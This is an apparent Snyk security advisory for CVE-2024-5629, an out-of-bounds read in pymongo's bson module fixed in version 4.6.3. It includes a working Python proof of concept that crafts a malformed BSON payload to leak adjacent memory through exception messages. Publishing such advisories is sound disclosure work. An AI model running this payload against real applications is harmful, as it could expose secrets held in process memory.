Out-of-bounds Read Affecting pymongo package, versions [,4.6.3)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.09% (39th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-PYMONGO-7172112
  • published31 May 2024
  • disclosed4 Mar 2024
  • creditVladimir Cherepanov

Introduced: 4 Mar 2024

CVE-2024-5629  (opens in a new tab)
CWE-125  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade pymongo to version 4.6.3 or higher.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read in the bson module. Using the crafted payload the attacker could force the parser to deserialize unmanaged memory. The parser tries to interpret bytes next to buffer and throws an exception with string. If the following bytes are not printable UTF-8 the parser throws an exception with a single byte.

PoC


import bson
import struct

def function(length: int) -> bytes:
    secret = b'X' * length

# variable 'secret' is deleted here but it's still stored in memory

def generate_payload(length: int) -> bytes:
    string_size = length - 0x1e

    return bytes.fromhex(
        struct.pack('<I', length).hex() + # payload size
        '0f' + # type "code with scope"
        '3100' + # key (cstring)
        '0a000000' + # c_w_s_size
        '04000000' + # code_size
        '41004200' + # code (cstring)
        'feffffff' + # scope_size
        '02' + # type "string"
        '3200' + # key (cstring)
        struct.pack('<I', string_size).hex() + # string size
        '00' * string_size # value (cstring)
# next bytes is a field name for type \x00, type \x00 is invalid so bson throws an exception
    )

def deserialize_payload(payload: bytes) -> None:
    try:
        obj = bson.decode(payload) # throws exception
        print(obj) # unreachable code
    except Exception as e:
        print(e)


print('case 1: leak the printable string')

# uses secret internally
function(0x50 + 0x0F)

# payload could be read from stdin or similar
payload = generate_payload(0x50)
deserialize_payload(payload)



print('\n case 2: leak some non-printable bytes')

for i in range(5):
    # payload could be read from stdin or similar
    payload = generate_payload(0x54f + i)
    deserialize_payload(payload)

CVSS Scores

version 3.1